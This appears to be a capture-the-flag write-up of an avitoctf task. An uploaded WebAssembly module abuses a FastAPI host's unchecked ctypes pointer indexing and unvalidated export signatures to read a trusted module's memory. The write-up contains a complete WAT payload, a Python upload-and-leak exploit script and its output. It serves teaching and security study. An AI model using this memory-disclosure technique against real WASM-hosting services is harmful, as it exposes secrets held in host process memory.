$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A FastAPI host runs trusted and uploaded WASM modules while trusting their exported pointers and signatures. Solution: Return an i64 host-pointer offset from malicious WASM to disclose the trusted module's initialized flag buffer.
Author: David
Медоеды ворвались в улей за мёдом. Пчёлы переглянулись: «— Выставляйте самого умного». Добудьте секрет умнейшей пчелы напрямую из её памяти.
The service runs a trusted chess engine called Bee and lets us upload an arbitrary import-free WebAssembly module as Badger. The goal is to read Bee's secret directly from its memory.
At startup, FastAPI creates the trusted Bee player first. An uploaded module is instantiated later as Badger. Player caches a raw ctypes pointer to each module's linear memory and obtains three exports by name, but never validates the function signatures:
self.__memory = self.__exports["memory"].data_ptr(self.__store) self.__fen_buffer = self.__exports["fen_buffer"] self.__best_move = self.__exports["best_move"]
The wrapper then treats both attacker-controlled return values as indexes into that raw host pointer:
fen_buffer = self.__fen_buffer(self.__store) for i, b in enumerate(data): self.__memory[fen_buffer + i] = b ptr = self.__best_move(self.__store) while b := self.__memory[ptr + len(move)]: move.append(b)
These are ctypes pointer operations, not WebAssembly loads or stores. Consequently, Wasmtime's linear-memory bounds checks do not protect them. Python keeps indexing host virtual memory until it reaches a NUL byte.
The trusted wrapper initializes its static 256-byte FEN buffer from the compile-time FLAG macro:
static char fen_buf[256] = FLAG;
In the supplied Bee module, fen_buf is at linear-memory offset 0x430. The provided Makefile uses a local placeholder:
FLAG := \"avito{REDACTED}\"
With Wasmtime 45's default allocator on the challenge Linux image, the modules receive deterministic consecutive reservations:
Bee base - Badger base = 0x104000000
This is 4 GiB of wasm32 address space plus a 64 MiB guard. Therefore, from Badger's cached base pointer, Bee's secret is located at:
0x104000000 + 0x430 = 0x104000430
An ordinary wasm32 pointer returned as i32 cannot represent this displacement: it exceeds the 32-bit range. Negative signed-i32 indexing is accepted by ctypes, but it still cannot cover this allocation gap. The crucial second bug is that the host never checks that best_move has the expected () -> i32 signature. We can export it as () -> i64 and return the complete 0x104000430 displacement.
Meanwhile, fen_buffer() returns i32 0, so the host safely writes the supplied black-side FEN into Badger's own committed memory before performing the disclosure.
This is the exact payload used:
(module ;; Keep the same unbounded wasm32 memory shape as the trusted module. With ;; Wasmtime 45's default Linux allocator the second reservation starts ;; 0x104000000 bytes below the first one (4 GiB + 64 MiB guard). (memory (export "memory") 1) ;; Player.best_move writes the black FEN here. Offset zero is committed and ;; does not overlap the trusted instance. (func (export "fen_buffer") (result i32) i32.const 0) ;; The wrapper does not validate the export signature. Returning i64 avoids ;; the signed-i32 range limit and points at Bee's fen_buf: ;; bad_base + 0x104000000 + 0x430 == bee_base + 0x430 (func (export "best_move") (result i64) i64.const 0x104000430) )
It compiles to an 83-byte badger.wasm.
The exploit compiles the WAT, uploads it, and requests a move with Black active so FastAPI selects BADGER_PLAYER:
#!/usr/bin/env python3 import argparse import json import urllib.parse import urllib.request from pathlib import Path from wasmtime import wat2wasm HERE = Path(__file__).resolve().parent FEN = "8/8/8/8/8/8/8/8 b - - 0 1" def multipart_wasm(wasm: bytes): boundary = "----goliathbadger" body = ( f"--{boundary}\r\n" 'Content-Disposition: form-data; name="file"; filename="badger.wasm"\r\n' "Content-Type: application/wasm\r\n\r\n" ).encode() + wasm + f"\r\n--{boundary}--\r\n".encode() return body, f"multipart/form-data; boundary={boundary}" def main(): parser = argparse.ArgumentParser() parser.add_argument("url", help="service base URL") parser.add_argument("--write", metavar="PATH") args = parser.parse_args() wasm = wat2wasm((HERE / "badger.wat").read_text()) if args.write: Path(args.write).write_bytes(wasm) base = args.url.rstrip("/") body, content_type = multipart_wasm(wasm) request = urllib.request.Request( base + "/api/upload", data=body, headers={"Content-Type": content_type}, method="POST", ) with urllib.request.urlopen(request) as response: print("upload:", response.read().decode()) query = urllib.parse.urlencode({"fen": FEN}) with urllib.request.urlopen(base + "/api/best-move?" + query) as response: result = json.load(response) print("leak:", result["best_move"]) if __name__ == "__main__": main()
Usage against a local copy:
python3 exploit.py http://127.0.0.1:8000 --write badger.wasm
The locally verified result was:
upload: {"status":"ok","bytes":83} leak: avito{REDACTED}
An in-process check also measured the exact allocator delta before leaking:
bee_ptr = ctypes.addressof(app.BEE_PLAYER._Player__memory.contents) badger_ptr = ctypes.addressof(badger._Player__memory.contents) assert bee_ptr - badger_ptr == 0x104000000 assert badger.best_move(FEN) == "avito{REDACTED}"
/flag through WASI or filesystem APIs is impossible because uploaded modules are instantiated with imports=[] and receive no WASI capabilities.i32 cannot span the 0x104000000 gap. The unchecked i64 return type is necessary.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar